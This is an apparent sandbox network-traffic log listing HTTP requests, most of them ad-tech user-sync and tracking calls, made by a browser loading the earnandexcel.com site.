Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&b=1&g=D1TVST8cQWk2jXhq4d%2BoFv4qc3HkEWj1Ucmv5%2BgElAY%3D HTTP/1.1Host: lexicon.33across.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Power-BI-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Excel-Tools-Templates-2-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=19&type=mdv&ovsid=3a6574e0-f84a-11ee-a9d1-333cefc92741&us_privacy=1---&redirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dmediadotnet%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%3Cvsid%3E HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?gdpr=&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dtriplelift%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId= HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usync/9534?us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dgumgum%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ortb.gif?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dhuddled_masses%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%5BUID%5D HTTP/1.1Host: sync.colossusssp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync?external_reference=mediavine&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&redirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dchicory%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25CHICORY_ID%25 HTTP/1.1Host: e.chicoryapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=562036&ev=3a6574e0-f84a-11ee-a9d1-333cefc92741&rurl=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpulsepoint%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&bundle=AgxCM19OMTU3WG1Nak5XeHJCS1Q0ejlLWVFuJTJCdm1Uc0E3R0diSUJwQTJEZHBqSDJpTWVraU9wMnA2NW9sbHlhejNUUmRIQXB0VDhyN0Y4OEcyTWpGVW1jNVN6b2Rqb3NJU1VEWmpya2ZSY1pVQkZNUm1ScEdkVmRxclRkTlZjSyUyQjBVaEE&lsw=1&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: application/jsonAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=193478&cb=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3DindexExchange%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ps/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true
Source: global traffic	HTTP traffic detected: GET /pbsync?gdpr=&gdpr_consent=&us_privacy=1---&redirectUri=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dyieldmo%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/sync?p=[]&mv_uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&version=invalidate-verizon-pushes HTTP/1.1Host: exchange.journeymv.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=mediadotnet&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3558724192336578000V10 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId= HTTP/1.1Host: u.openx.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=7994817&p=157108&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202404080101/pubads_impl.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=huddled_masses&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=f5bcfd20-57d0-4d5c-ab4b-540db988386c HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dtriplelift%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
